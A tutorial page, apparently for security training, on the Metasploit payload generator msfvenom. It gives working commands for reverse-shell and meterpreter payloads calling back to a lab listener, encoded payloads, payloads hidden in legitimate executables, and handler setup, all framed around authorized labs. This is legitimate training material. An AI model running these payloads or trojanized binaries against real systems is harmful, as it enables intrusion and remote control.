msfvenom

msfvenom is the Metasploit Framework’s payload generator: it turns a payload choice plus a listener address into a file or code blob in the format your lab target can run, with optional encoding and bad-character avoidance baked in. It is the tool people reach for when an exploit needs shellcode, when a CTF box wants a reverse shell binary, or when an exploit-development exercise needs a payload in a specific output format.

You will see msfvenom in CTF privilege-escalation steps, in buffer-overflow lab work, in payload-format exercises on owned VMs, and in authorized assessments where a Metasploit handler is already in scope. The payload it builds is only half the story; the matching listener and a clear authorization are the other half.

What you will learn#

  • How to install, update, and verify msfvenom
  • When to use it, and when a different approach fits better
  • How payloads, formats, and encoders relate to each other
  • How to set LHOST, LPORT, and output format correctly
  • Realistic lab examples for staged, stageless, raw, and embedded payloads
  • The mistakes that waste the most time, and how to avoid them
  • A commented cheat sheet you can paste into your notes

Only generate and run payloads against systems you own or are explicitly authorized to test. CTF platforms, your own homelab VMs, and dedicated practice machines are all fair game. Anything else needs written permission and an agreed scope. Payload files are sensitive: keep them inside the lab folder, do not share them casually, and delete them when the exercise ends. Keep a short note of the target, the authorization, and the date next to your work. This section is the boring part that keeps the fun part legal.


Prerequisites#

  • A Linux host is easiest (Kali and Parrot ship Metasploit). It also runs on any Ubuntu/Debian box once the framework is installed.
  • No root is needed to generate a payload. Running a handler on a low port (under 1024) does need root.
  • Basic comfort with the terminal, IP addresses, and the idea of a reverse versus bind connection.
  • A target you are allowed to test, and a listener you control. The examples below use private IPs and placeholders only.
  • Optional but useful: a second VM on the same private network to act as the lab target.

Lab setup#

Keep every engagement in its own folder so payloads, notes, and loot never mix.

# One folder per box or per lab, with room for payloads and notes
mkdir -p ~/labs/msfvenom-demo/{payloads,notes,loot}
cd ~/labs/msfvenom-demo

Use private ranges for the listener and target (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Throughout this guide, LHOST means an IP on your own attacker box that the target can reach (for example 192.168.56.10), LPORT means a listener port you control, and TARGET_IP means one host you are authorized to test.


Installation#

msfvenom is part of the Metasploit Framework, so you install the framework, not a standalone binary.

# Debian / Ubuntu / Kali (preferred on most systems)
sudo apt update && sudo apt install -y metasploit-framework

# Fedora / RHEL (via the official Rapid7 installer script)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall

# macOS (Homebrew)
brew install metasploit

On Kali and Parrot the package is usually preinstalled. Use the distro package route whenever you can; it handles dependencies and updates for you. Use the Rapid7 omnibus installer on non-Kali systems where the framework is not packaged.


Update process#

# Kali / Debian: update through the package manager
sudo apt update && sudo apt install --only-upgrade -y metasploit-framework

# Omnibus installs (non-Kali) use the bundled updater
sudo msfupdate

New payloads, formats, and encoders ship with framework releases, so an up-to-date install gives you the current payload list and the latest format support.


Check if installed and available#

command -v msfvenom   # prints the path if msfvenom is on your PATH
msfvenom --version    # confirm the framework version
msfvenom -h | less    # skim the option groups

If command -v prints nothing, the framework did not install or your shell PATH is stale. Open a new terminal or re-run the install step. The first run can be slow because Metasploit caches its module list.


First safe test#

List the available formats. It proves msfvenom works and touches nothing external.

msfvenom --list formats

Expected: a printed list of output formats grouped into executable formats (like elf, exe, macho) and transform formats (like c, python, raw, hex). Success looks like a clean table of names with no error. Failure looks like command not found (install problem) or a Ruby/dependency stack trace (broken install, reinstall the framework).


Core concepts#

  • Payload is the code that runs on the target after delivery, selected with -p. Examples are reverse shells, bind shells, and meterpreter sessions.
  • Staged vs stageless changes how the payload arrives. A staged payload (windows/x64/meterpreter/reverse_tcp, note the /) sends a small stager that pulls the rest from your handler. A stageless payload (windows/x64/meterpreter_reverse_tcp, note the _) is self-contained and larger.
  • LHOST and LPORT are payload options, not flags. They tell a reverse payload where to call back. Bind payloads use RHOST/LPORT on the target instead.
  • Format (-f) is the output wrapper: an executable, a script snippet, or raw bytes. The right format depends on how the payload will be delivered.
  • Platform and arch (--platform, -a) must match the target. A 64-bit Linux payload will not run on a 32-bit Windows host.
  • Encoders (-e) re-encode the payload bytes, historically to dodge bad characters or naive signatures. They are not a reliable evasion guarantee.
  • Bad characters (-b) are bytes the vulnerable input path cannot carry (often \x00). msfvenom encodes the payload to avoid them.
  • Templates (-x) embed the payload inside an existing executable so the file still looks and runs like the original.

When this tool is useful#

  • CTFs and labs: generate a reverse shell binary or script to catch on a handler after you have a foothold or an upload primitive.
  • Buffer-overflow practice: produce raw shellcode with specific bad characters excluded for exploit-development exercises on owned VMs.
  • Format conversion: turn a payload into c, python, ps1, or raw for a proof-of-concept in an authorized test.
  • Handler pairing: build the payload that a Metasploit multi/handler is already waiting to receive.
  • Defensive validation: generate a known test payload to confirm your own EDR or IDS detects it in a controlled environment.

When not to use this tool#

  • When you have not confirmed scope. Payload generation is not a casual recon step.
  • When a simpler reverse shell will do. A bash -i one-liner or nc is often enough on a Linux lab box and leaves a smaller footprint.
  • When you do not control a reachable listener. A reverse payload with no handler just fails silently.
  • When you are guessing the platform or architecture. A wrong-arch payload wastes the attempt and looks broken.
  • When real evasion is the goal. msfvenom output and default encoders are widely signatured; chasing evasion with -e alone is a dead end.

Command anatomy#

msfvenom -p [payload] [payload options] -f [format] [encoding] -o [output]
#        reverse_tcp   LHOST= LPORT=     exe        -b/-e/-i     payloads/x.exe
  • payload: the code to run on the target, set with -p.
  • payload options: key=value pairs like LHOST=192.168.56.10 LPORT=4444.
  • format: the output wrapper from -f (executable, script, or raw bytes).
  • encoding: optional -b (bad chars), -e (encoder), -i (iterations).
  • output: -o payloads/shell.exe writes a file; without -o it prints to stdout.

Common flags and options#

OptionMeaningWhen to use itExample
-pSelect the payloadAlways, to pick what runsmsfvenom -p linux/x64/shell_reverse_tcp
-lList payloads, formats, encodersResearch available optionsmsfvenom -l payloads
-fOutput formatMatch the delivery methodmsfvenom -p ... -f elf
-oWrite to a fileSave the payload to diskmsfvenom -p ... -o payloads/shell.elf
-aTarget architectureMatch the target CPUmsfvenom -a x64 -p ...
--platformTarget platformDisambiguate the OSmsfvenom --platform windows -p ...
-bBad characters to avoidExploit-dev with byte limitsmsfvenom -p ... -b "\x00\x0a"
-eEncoder to applyAvoid bad chars or transformmsfvenom -p ... -e x86/shikata_ga_nai
-iEncoder iterationsRe-encode multiple passesmsfvenom -p ... -e ... -i 3
-xEmbed in a template binaryKeep a normal-looking filemsfvenom -p ... -x calc.exe
--list-optionsShow a payload’s optionsBefore generating anythingmsfvenom -p ... --list-options
-vSet the variable nameClean script/C outputmsfvenom -p ... -f c -v buf

Practical examples#

Each command below explains what it does and what to expect. Every one targets your own lab listener and is meant for authorized practice only.

# List payloads (research only, no file written)
msfvenom -l payloads | less
# Output: a long table of payload names by platform and arch. Skim, do not run blind.
# Show one payload's required options before generating
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
# Output: required (LHOST, LPORT) and advanced settings. Read this first.
# Linux 64-bit stageless reverse shell as an ELF file
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f elf -o payloads/shell.elf
# Output: "Payload size" and "Saved as: payloads/shell.elf". Catch it with nc or a handler.
# Windows 64-bit staged meterpreter as an EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f exe -o payloads/shell.exe
# Output: an .exe. Staged payload, so a multi/handler with the matching payload must be listening.
# Raw shellcode for a buffer-overflow lab, excluding null and newline bytes
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -b "\x00\x0a\x0d" -f c -v shellcode
# Output: a C array named "shellcode" with the bad bytes encoded out. For owned exploit-dev VMs.
# PowerShell-friendly payload for a Windows lab proof-of-concept
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f psh -o payloads/shell.ps1
# Output: a .ps1 script. Treat as sensitive; keep it inside the lab folder.
# Python format for a cross-platform lab snippet
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f raw -o payloads/shell.py
# Output: raw python payload. Pair with the matching handler payload exactly.
# Apply an encoder with multiple iterations (transform, not guaranteed evasion)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -f elf -o payloads/encoded.elf
# Output: encoder lines per iteration, then the saved file. Encoding != bypass.
# Embed a payload inside an existing executable template
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -x payloads/legit.exe -f exe -o payloads/patched.exe
# Output: a patched .exe that still resembles the original. Owned-lab demonstration only.
# Generate, then immediately start the matching handler in Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f exe -o payloads/shell.exe
msfconsole -q -x "use multi/handler; \
  set payload windows/x64/meterpreter/reverse_tcp; \
  set LHOST 192.168.56.10; set LPORT 4444; run"
# The handler must use the SAME payload, LHOST, and LPORT as the generated file.

Example workflow#

A realistic beginning-to-end pass on one authorized lab box.

# 1. Prepare and confirm scope
mkdir -p ~/labs/box01/{payloads,notes} && cd ~/labs/box01
echo "scope: TARGET_IP, authorized $(date -I)" > notes/scope.txt

# 2. Confirm the target platform and arch from earlier enumeration
echo "target: Windows x64 (from nmap -sV)" >> notes/scope.txt

# 3. Inspect the payload options before generating
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options

# 4. Generate the payload pointing at your own listener
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f exe -o payloads/shell.exe

# 5. Start the matching handler before delivery
msfconsole -q -x "use multi/handler; \
  set payload windows/x64/meterpreter/reverse_tcp; \
  set LHOST 192.168.56.10; set LPORT 4444; run"

# 6. Deliver via your authorized upload primitive, then document the result
echo "delivered $(date -I), session opened" >> notes/scope.txt

From here, the open session decides the next step: post-exploitation modules, manual enumeration, or clean teardown and payload deletion when the exercise ends.


Reading and interpreting output#

  • “Payload size: N bytes” confirms generation succeeded and hints at staged (small) versus stageless (large).
  • “Saved as: path” means the file was written. No file appears without -o.
  • Encoder lines like Attempting to encode payload with N iterations show the encoder ran; they do not mean the payload will evade anything.
  • “No encoder specified, outputting raw payload” is normal when you did not request one.
  • “Bad-char” or “could not be encoded” errors mean the bad-character set is too tight for that payload; loosen -b or pick another payload.
  • Empty or stdout-only output usually means you forgot -o, so it printed to the terminal instead of a file.
  • A generated file is not a working exploit. It only matters if the platform, arch, format, and a matching handler all line up.

Common mistakes#

  • Generating a payload without confirming the target platform and architecture.
  • Mismatching staged and stageless between the payload and the handler (the / versus _ in the name), then wondering why the session never opens.
  • Forgetting -o, dumping raw bytes into the terminal, and losing the output.
  • Setting LHOST to an address the target cannot route to (for example a loopback or a NAT-internal IP the target never sees).
  • Treating encoders as evasion; default encoders are heavily signatured.
  • Hardcoding real IPs or secrets in notes instead of placeholders.
  • Leaving payload files lying around outside the lab folder after the exercise.
  • Copying flags from an old tutorial without checking the current msfvenom -h.

Troubleshooting#

ProblemLikely causeFix
command not foundFramework not installed / PATHReinstall metasploit-framework; open a fresh shell
Ruby stack trace on runBroken or partial installReinstall the framework; check Ruby deps
Invalid Payload SelectedTypo or wrong payload nameVerify with msfvenom -l payloads
Session never opensStaged/stageless or option mismatchMatch payload, LHOST, LPORT on the handler exactly
Callback never arrivesLHOST unreachable from targetSet LHOST to an IP the target can route to
bad-char encoding fails-b set too tightLoosen the bad-char list or pick another payload
Wrong-arch crash on target-a/--platform mismatchRegenerate with the correct arch and platform
Output dumped to screenMissing -oAdd -o payloads/name.fmt
Results differ from a tutorialVersion/flag changesCheck msfvenom --version and current -h

Tools that pair well#

  • Metasploit multi/handler: the listener that catches a reverse payload; it must use the identical payload, LHOST, and LPORT.
  • nc (netcat): a simple catcher for non-meterpreter shell_reverse_tcp payloads on a lab box.
  • Nmap: confirm the target platform, arch hints, and open ports before picking a payload.
  • Python http.server: stage payload delivery from your attacker box over an authorized lab upload path.
  • tee / grep / awk: capture msfvenom output and keep tidy generation notes.

Automation and note taking#

# Timestamped generation, saved and echoed to the terminal in one shot
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f elf -o "payloads/shell-$(date +%Y%m%d-%H%M).elf" \
  2>&1 | tee notes/generate.txt

Name payloads by target and date, keep a one-line scope note per engagement, record the exact payload, LHOST, and LPORT used so the handler matches, and screenshot the session opening if you will reference it in a report. Delete payload files when the exercise ends.


Blue-team visibility#

Defenders can and often do see msfvenom-built payloads. The default payloads and encoders carry well-known signatures, so antivirus and EDR frequently flag the file on disk or in memory the moment it lands. Delivery and execution generate process creation events, and a reverse connection shows up as an outbound session to your LHOST and LPORT in firewall and network logs. Meterpreter staging produces recognizable traffic patterns that IDS rules watch for. Knowing this helps on both sides: as a defender, these are exactly the file hashes, process chains, and beaconing patterns to alert on; as a tester, it explains why an off-the-shelf payload gets caught instantly in a monitored lab.


Safer or lower-noise usage#

  • Confirm scope and authorization before you generate anything.
  • Prefer a simple shell payload over meterpreter on a Linux lab box when a basic session is all you need.
  • Always write to a named file with -o inside the lab folder so payloads do not scatter.
  • Test against one host you control before assuming a payload works.
  • Do not chase evasion with encoders in a real engagement; it is noisy and ineffective against modern defenses.
  • Delete generated payloads and clear handlers when the exercise is over.

Alternatives#

  • Manual reverse shells (bash -i >& /dev/tcp/..., nc, socat): smaller, quieter, and enough for most Linux lab boxes. Use these when you do not need a meterpreter session or a specific binary format.
  • Sliver / Havoc: modern command-and-control frameworks with their own payload generators. Use in authorized engagements where msfvenom output is too easily signatured, but they have a steeper setup cost.
  • Custom shellcode toolchains (nasm, pwntools): for serious exploit development where you need full control over the bytes.
  • msfvenom is still the best all-rounder for quick, multi-format payloads that pair cleanly with Metasploit handlers; the alternatives win on stealth or on byte-level control.

Deprecated and legacy notes#

  • msfvenom replaced the older msfpayload and msfencode tools, which were merged into a single command. Old tutorials still reference the retired pair.
  • --list is the long form of -l, and --list-options replaced older option-dump habits; check msfvenom -h if an old flag is missing.
  • Some payload names and encoder availability change between framework releases, so a payload from an old guide may have moved or been renamed. Verify with msfvenom -l payloads.

Quick reference cheat sheet#

# --- Research (no files written) ---
msfvenom -l payloads | less                  # list available payloads
msfvenom -l formats                          # list output formats
msfvenom -l encoders                          # list encoders
msfvenom -p PAYLOAD --list-options           # show one payload's options

# --- Linux reverse shell (ELF) ---
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f elf -o payloads/shell.elf               # catch with nc or a handler

# --- Windows meterpreter (EXE, staged) ---
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -f exe -o payloads/shell.exe               # needs a matching multi/handler

# --- Raw shellcode with bad chars excluded (exploit-dev) ---
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 \
  -b "\x00\x0a\x0d" -f c -v shellcode        # C array, bad bytes encoded out

# --- Script formats ---
msfvenom -p PAYLOAD LHOST=192.168.56.10 LPORT=4444 -f psh -o payloads/x.ps1  # PowerShell
msfvenom -p PAYLOAD LHOST=192.168.56.10 LPORT=4444 -f raw -o payloads/x.py   # Python (raw)

# --- Encode (transform, not guaranteed evasion) ---
msfvenom -p PAYLOAD LHOST=192.168.56.10 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -f elf -o payloads/encoded.elf

# --- Embed in a template binary ---
msfvenom -p PAYLOAD LHOST=192.168.56.10 LPORT=4444 \
  -x payloads/legit.exe -f exe -o payloads/patched.exe

# --- Start the matching handler ---
msfconsole -q -x "use multi/handler; set payload PAYLOAD; \
  set LHOST 192.168.56.10; set LPORT 4444; run"

# --- Save and echo generation output ---
msfvenom -p PAYLOAD LHOST=192.168.56.10 LPORT=4444 -f elf \
  -o payloads/shell.elf 2>&1 | tee notes/generate.txt

Mini decision tree#

  • Unsure what to pick: list options with --list-options before generating.
  • Linux lab box, basic session is enough: use linux/x64/shell_reverse_tcp and a nc catcher.
  • Windows target, want a meterpreter session: match a staged windows/x64/meterpreter/reverse_tcp with a multi/handler.
  • Buffer-overflow exercise: use -f c (or -f raw) with -b for bad characters.
  • Session never opens: confirm staged/stageless match and that LHOST is reachable from the target.
  • Need a script snippet: use -f psh, -f python, or -f raw with -v for a clean variable name.

Final checklist#

  • Scope and authorization noted next to the output
  • Target platform and architecture confirmed before generating
  • Payload written to a named file with -o inside the lab folder
  • Handler payload, LHOST, and LPORT match the generated file exactly
  • LHOST is an address the target can actually route to
  • Encoders not mistaken for guaranteed evasion
  • No real third-party targets, IPs, or secrets used
  • Payload files deleted when the exercise ends

Final summary#

msfvenom is best when you treat the payload and its handler as one unit: pick a payload that matches the target platform and arch, set LHOST and LPORT to a listener you control, choose the right format, and start the matching handler before delivery. The fastest way to start is msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o payloads/shell.elf with a nc -lvnp 4444 catcher. The most expensive mistake is mismatching the payload between msfvenom and the handler, so the session never opens. Learn Metasploit’s multi/handler and post-exploitation modules next, since catching and using the session is what makes the payload worth generating.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop